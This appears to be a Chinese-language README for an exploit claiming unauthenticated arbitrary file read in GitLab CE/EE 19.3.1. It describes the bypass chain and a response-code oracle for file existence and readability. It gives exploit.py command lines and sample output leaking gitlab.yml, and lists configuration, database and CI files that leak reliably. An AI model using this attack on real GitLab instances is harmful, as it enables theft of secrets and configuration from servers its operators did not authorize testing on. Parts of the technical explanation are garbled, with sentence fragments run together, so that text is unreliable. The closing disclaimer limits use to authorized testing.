GitLab CE 和 EE 中的未认证路径遍历 / 任意文件读取。 CVSS 10.0。已在本地实验环境中针对自管理的 19.3.1 实例验证。
GitLab CE/EE:
前提条件:实例至少有一个公开项目。任何真实项目 id 均可。无需账户或令牌。
创建提交端点 POST /api/v4/projects/:id/repository/commits
接受大文件请求体,因此 Workhorse 将请求体缓冲到磁盘,并
注入 file.path / file.size 元数据供 Rails 读回。四个
错误叠加在一起:
require_gitlab_workhorse!。真正的
authenticate! 位于 authorize_push_to_branch! 之后,而后者在
文件读取之后才运行。file_params_from_body_upload 直接从请求参数中获取 file.path 和 ,
因此 会跟随你提供的任何绝对
路径。file.sizeFile.read(file_path).../repository/commits\z。
添加尾部斜杠会错过该路由,并落入签名的
反向代理,后者会使用有效的 JWT 转发原始请求体。Workhorse
检查通过,Grape 规范化斜杠,伪造的参数得以保留。Content-Type: application/x-www-form-urlencoded 时,文件内容由
Rack::Utils.parse_nested_query 解析。非法的 % 序列会引发
ArgumentError: invalid %-encoding (<component>),并且 400 响应会
原样回显该组件。读取以 git 用户身份运行。仅当文件包含
非法的 % 序列时,内容才会返回;否则你仍然可以获得干净的存在性和
可读性预言机:
| 响应 | 含义 |
|---|---|
400 local file not present | 文件不存在 |
500 | 存在,但 git 不可读 |
401 | 存在且可读,无非法的 %,无回显 |
400 invalid %-encoding (...) | 可读,组件被回显 |
在默认 omnibus 安装中可靠回显的文件:gitlab.yml(头部
注释很早就命中 95%)、CI 作业日志和产物、上传的附件,
以及使用外部数据库的部署中的 database.yml。
python3 exploit.py -t http://target:8080 # reads gitlab.yml
python3 exploit.py -t http://target:8080 -f /etc/passwd
python3 exploit.py -t http://target:8080 -p 3 -o out.txt
无依赖,仅使用标准库。
针对 docker 中的 gitlab-ce 19.3.1,零凭据:
$ python3 exploit.py -t http://127.0.0.1:8929
[*] HTTP 400 | leaked
[+] leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
=========================
## GitLab settings
gitlab:
## Web server settings (note: host is the FQDN, do not include http://)
host: localhost
port: 8929
https: false
...
------------------------------------------------------------
同一次运行中的预言机抽查:
/etc/passwd -> 401 (readable, no echo)
/etc/shadow -> 500 (exists, permission denied)
/etc/nonexistent -> 400 local file not present
仅用于授权的安全测试和研究。请勿针对你并不拥有或 未获得明确测试许可的系统使用。